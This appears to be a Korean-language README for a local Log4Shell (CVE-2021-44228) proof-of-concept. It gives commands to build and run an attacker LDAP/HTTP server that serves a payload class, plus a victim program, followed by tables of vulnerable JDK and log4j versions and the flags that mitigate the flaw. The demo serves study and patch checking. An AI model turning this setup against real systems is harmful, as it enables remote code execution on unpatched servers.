
CVE-2021-44228의 짧은 데모
CVE-2021-44228의 간단한 데모
$ mvn clean verify
$ java \
-cp 'attacker/target/sample-attacker.jar:attacker/target/lib/*' \
sample.attacker.Attacker localhost 1389 sample.payload.Payload 8080 payload/target/sample-payload.jar
URLs:
http://localhost:8080/http://localhost:8080/sample/payload/Payload.class$ java \
-cp 'victim/target/sample-victim.jar:victim/target/lib/*' \
sample.victim.Victim
| 버전 | 상태 |
|---|---|
Oracle JDK 8u5 | 취약 |
OpenJDK 8u312 | 취약하지 않음 (-Dcom.sun.jndi.ldap.object.trustURLCodebase=true를 설정하지 않는 한) |
IBM OpenJDK 8u312-b07 (OpenJ9) | 취약하지 않음 (-Dcom.sun.jndi.ldap.object.trustURLCodebase=true를 설정하지 않는 한) |
OpenJDK 11.0.7+10 | 취약하지 않음 (-Dcom.sun.jndi.ldap.object.trustURLCodebase=true를 설정하지 않는 한) |
OpenJDK 11.0.13+8 | 취약하지 않음 (-Dcom.sun.jndi.ldap.object.trustURLCodebase=true를 설정하지 않는 한) |
OpenJDK 16+36 | 취약하지 않음 (-Dcom.sun.jndi.ldap.object.trustURLCodebase=true를 설정하지 않는 한) |
OpenJDK 17+35 | 취약하지 않음 (-Dcom.sun.jndi.ldap.object.trustURLCodebase=true를 설정하지 않는 한) |
OpenJDK 17.0.1+12 | 취약하지 않음 (-Dcom.sun.jndi.ldap.object.trustURLCodebase=true를 설정하지 않는 한) |
취약하지 않은 경우, javax.naming.Context.lookup()에서 javax.naming.Reference 인스턴스가 반환됩니다.
원격 코드 베이스에서 클래스를 로드하는 데 취약하지 않더라도, 다른 Java 역직렬화 취약점은 여전히 존재할 가능성이 높습니다!
| 버전 | 상태 |
|---|---|
2.9.1 | 취약 |
2.10.0 | 취약 (-Dlog4j2.formatMsgNoLookups=true 또는 환경 변수 LOG4J_FORMAT_MSG_NO_LOOKUPS=true를 설정하지 않는 한) |
2.14.1 | 취약 (-Dlog4j2.formatMsgNoLookups=true 또는 환경 변수 LOG4J_FORMAT_MSG_NO_LOOKUPS=true를 설정하지 않는 한) |
2.15.0 | 취약하지 않음 |
취약하지 않은 경우, ${jndi:ldap:...}는 해석되지 않습니다.